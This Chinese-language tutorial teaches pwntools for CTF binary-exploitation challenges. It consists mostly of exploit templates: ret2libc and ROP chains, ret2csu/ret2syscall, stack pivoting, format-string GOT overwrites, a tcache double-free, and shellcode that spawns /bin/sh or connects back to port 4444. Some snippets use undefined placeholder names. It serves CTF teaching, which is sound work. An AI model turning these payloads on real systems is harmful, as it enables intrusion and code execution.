pwntools
2026/5/29工具工具pwntools大约 6 分钟
pwntools
链接
是什么
pwntools 是一款专为 CTF Pwn 类题目设计的 Python 库,提供了丰富的二进制漏洞利用开发工具。它是目前 CTF 竞赛中 Pwn 方向最核心的工具库,几乎所有的 Pwn 题解题脚本都基于 pwntools 编写。
核心功能:
- 进程交互:与本地程序或远程服务进行通信
- ROP 构造:自动生成 ROP 链
- shellcraft:生成各种架构的 Shellcode
- ELF 分析:解析 ELF 文件结构
- fmtstr_payload:格式化字符串漏洞利用
- DynELF:动态解析远程符号
- Memleak:内存泄漏利用
- 常量和工具:各种架构的常量和辅助函数
在 CTF Pwn 类题目中,pwntools 是编写 Exploit 的标准工具。
安装与配置
安装方法
# 使用 pip 安装(推荐)
pip install pwntools
# 使用 pip3
pip3 install pwntools
# 从 GitHub 安装最新版
pip install git+https://github.com/Gallopsled/pwntools.git
# 验证安装
python3 -c "from pwn import *; print(pwnlib.version)"
# Kali Linux(可能已预装)
pip install pwntools --upgrade环境配置
# 设置日志级别
export PWNLIB_LOG_LEVEL=debug # 调试模式
export PWNLIB_LOG_LEVEL=info # 信息模式(默认)
export PWNLIB_LOG_LEVEL=warn # 警告模式
# 设置终端
export TERM=xterm-256color
# 配置 TMUX(推荐使用 tmux 作为终端)
export PWNLIB_NOTERM=1 # 如果不使用 tmux基本导入
from pwn import *
# 设置目标架构
context.arch = 'amd64' # 或 'i386', 'arm', 'mips' 等
context.os = 'linux'
context.endian = 'little'
context.log_level = 'debug' # 调试模式基本用法
进程交互
from pwn import *
# 启动本地进程
p = process('./vuln')
# 连接远程服务
p = remote('challenge.ctf.com', 1337)
# 发送数据
p.send(b'Hello')
p.sendline(b'Hello') # 自动添加换行符
# 接收数据
data = p.recv(1024) # 接收指定字节数
data = p.recvline() # 接收一行
data = p.recvuntil(b': ') # 接收到指定字符串
data = p.recvall() # 接收所有数据
# 交互模式
p.interactive()
# 关闭连接
p.close()数据打包/解包
from pwn import *
# 打包整数为字节
val = p64(0xdeadbeef) # 64 位小端打包
val = p32(0xdeadbeef) # 32 位小端打包
val = p16(0x1234) # 16 位小端打包
val = p8(0x41) # 8 位打包
# 解包字节为整数
num = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # 64 位解包
num = u32(b'\xef\xbe\xad\xde') # 32 位解包
# 大端序打包
val = p64(0xdeadbeef, endian='big')
val = p32(0xdeadbeef, endian='big')
# 地址打包(常用快捷方式)
addr = p64(0x401234)ELF 文件操作
from pwn import *
# 加载 ELF 文件
elf = ELF('./vuln')
# 获取函数地址
main_addr = elf.symbols['main']
puts_addr = elf.symbols['puts']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# 获取程序信息
print(f"Entry point: {hex(elf.entry)}")
print(f"Base address: {hex(elf.address)}")
print(f"Architecture: {elf.arch}")
# 修改地址(用于 PIE 二进制)
elf.address = 0x555555554000 # 设置基地址ROP 构造
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# 查找 gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# 构造 ROP 链
rop.call(puts, [elf.got['puts']]) # 泄漏 puts 地址
rop.call(main) # 返回 main
# 自动生成调用
rop.call('puts', [elf.got['puts']])
rop.call('main')
# 获取 ROP 链字节
rop_chain = rop.chain()
# 使用 ROPgadget 找到的地址
rop.raw(pop_rdi)
rop.raw(elf.got['puts'])
rop.raw(elf.plt['puts'])Shellcraft 生成 Shellcode
from pwn import *
# 生成 execve("/bin/sh") shellcode
shellcode = asm(shellcraft.sh())
# 生成指定架构的 shellcode
shellcode = asm(shellcraft.amd64.sh()) # x86-64
shellcode = asm(shellcraft.i386.sh()) # x86-32
# 生成 execve 指定程序的 shellcode
shellcode = asm(shellcraft.execve('/bin/sh', ['/bin/sh'], 0))
# 生成 open/read/write shellcode
shellcode = asm(shellcraft.cat('/flag'))
# 生成 connectback shellcode
shellcode = asm(shellcraft.connect('127.0.0.1', 4444))
# 自定义 shellcode
shellcode = asm('''
xor rsi, rsi
push rsi
mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
xor rdx, rdx
mov al, 59
syscall
''')格式化字符串漏洞利用
from pwn import *
# 自动生成格式化字符串 Payload
# 参数:
# numbwritten: 已写入的字节数
# offset: 格式化字符串在栈上的偏移
# writes: 要写入的地址和值的字典
writes = {elf.got['printf']: elf.symbols['system']}
payload = fmtstr_payload(offset, writes)
# 或者手动构造
# 偏移为 6,写入 got['printf'] = system
payload = fmtstr_payload(6, {elf.got['printf']: elf.symbols['system']})
# 读取任意地址
# 使用 %n$s 读取地址处的值
payload = b'%7$s' + p64(elf.got['puts'])DynELF 动态符号解析
from pwn import *
# 使用 DynELF 在不知道 libc 版本的情况下解析函数
def leak(addr):
# 泄漏指定地址的数据
p = process('./vuln')
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(addr)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)
data = p.recvuntil(b'\n')
p.close()
return data
d = DynELF(leak, elf=ELF('./vuln'))
# 解析远程 libc 中的函数
system_addr = d.lookup('system', 'libc')CTF常用技巧
完整 Pwn 题解题模板
from pwn import *
# 配置
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
# 加载二进制
elf = ELF('./vuln')
# libc = ELF('./libc.so.6') # 如有 libc
# 连接目标
if args.REMOTE:
p = remote('challenge.ctf.com', 1337)
elif args.GDB:
p = process('./vuln')
gdb.attach(p, '''
b main
c
''')
else:
p = process('./vuln')
# 找 gadget
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# 泄漏地址
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.sendline(payload)
p.recvline()
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts: {hex(leaked)}")
# 计算 libc 基址
libc_base = leaked - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# 构造利用
payload = b'A' * offset
payload += p64(ret) # 栈对齐
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.sendline(payload)
p.interactive()ret2libc
# 泄漏 libc 地址
payload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
# 使用泄漏的地址计算 libc 基址
libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))ret2csu
# 使用 __libc_csu_init 中的 gadget
# 适用于 x86-64 程序
csu_pop = 0x40089a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
csu_call = 0x400880 # mov rdx, r14; mov rsi, r13; mov edi, r12d; call [r15+rbx*8]
def ret2csu(func, rdi, rsi, rdx):
payload = p64(csu_pop)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(rdi) # r12 -> edi
payload += p64(rsi) # r13 -> rsi
payload += p64(rdx) # r14 -> rdx
payload += p64(func) # r15 -> call target
payload += p64(csu_call)
return payloadret2syscall
# 使用 ROPgadget 找到的 gadget 构造系统调用
# execve("/bin/sh", 0, 0)
pop_rax = 0x401234 # pop rax; ret
pop_rdi = 0x401235 # pop rdi; ret
pop_rsi = 0x401236 # pop rsi; ret
pop_rdx = 0x401237 # pop rdx; ret
syscall = 0x401238 # syscall; ret
payload = b'A' * offset
payload += p64(pop_rax) + p64(59) # execve
payload += p64(pop_rdi) + p64(bin_sh) # "/bin/sh"
payload += p64(pop_rsi) + p64(0) # argv = 0
payload += p64(pop_rdx) + p64(0) # envp = 0
payload += p64(syscall)栈迁移(Stack Pivot)
# 将栈迁移到可控内存区域
pop_rbp = 0x401234
leave_ret = 0x401235
new_stack = 0x601000 # 可控的 .bss 地址
# 第一次:泄露信息并设置新栈
payload = b'A' * offset
payload += p64(new_stack) # 覆盖 rbp
payload += p64(vuln) # 返回到 vuln
# 第二次:在新栈上执行 ROP
payload = b'A' * 8
payload += p64(pop_rbp)
payload += p64(new_stack + 0x100)
payload += p64(leave_ret)格式化字符串利用
# 读取任意地址
payload = b'%7$s' + p64(elf.got['puts'])
# 写入任意地址
writes = {elf.got['printf']: elf.symbols['main']}
payload = fmtstr_payload(6, writes)
# 多次写入
writes = {
elf.got['printf']: system,
elf.got['puts']: system
}
payload = fmtstr_payload(6, writes)堆利用模板
# 常见堆操作
def alloc(size, content=b'A'):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', content)
def free(index):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(index).encode())
def show(index):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(index).encode())
# 堆利用示例(tcache dup)
alloc(0x20, b'A') # chunk 0
free(0)
free(0) # double free
alloc(0x20, p64(free_hook)) # chunk 1
alloc(0x20, b'B') # chunk 2
alloc(0x20, p64(system)) # chunk 3,写入 free_hook
alloc(0x20, b'/bin/sh\x00') # chunk 4
free(4) # 触发 system('/bin/sh')调试技巧
# 使用 GDB 调试
if args.GDB:
p = process('./vuln')
gdb.attach(p, '''
b *0x401234
b *0x401256
c
telescope $rsp 20
''')
# 使用 core dump 调试
# ulimit -c unlimited
# 在脚本中处理 SIGSEGV
context.terminal = ['tmux', 'splitw', '-h']ARM/MIPS 架构
# ARM 32 位
context.arch = 'arm'
shellcode = asm(shellcraft.arm.sh())
# ARM 64 位 (AArch64)
context.arch = 'aarch64'
shellcode = asm(shellcraft.aarch64.sh())
# MIPS
context.arch = 'mips'
shellcode = asm(shellcraft.mips.sh())常见问题
ImportError: No module named 'pwn'
解决:
pip3 install pwntools
# 或
python3 -m pip install pwntools程序交互卡住
原因:接收数据匹配失败。
解决:
# 使用 recvuntil 指定终止条件
p.recvuntil(b'> ')
# 使用 timeout 参数
p.recvline(timeout=5)
# 使用 sendafter 组合
p.sendlineafter(b'> ', b'1')Shellcode 被过滤
解决:
# 使用 encoder
shellcode = asm(shellcraft.sh())
encoded = encode(shellcode, avoid=b'\x00\x0a')
# 手动编写避免特定字节的 shellcode栈对齐问题
解决:
# x86-64 需要 16 字节栈对齐
# 在 ROP 链开头加一个 ret gadget
payload = p64(ret) # 栈对齐
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)地址中包含换行符
解决:
# 使用 scanf 读取地址
# 或使用其他输入函数避免截断
# 或寻找其他 gadget 地址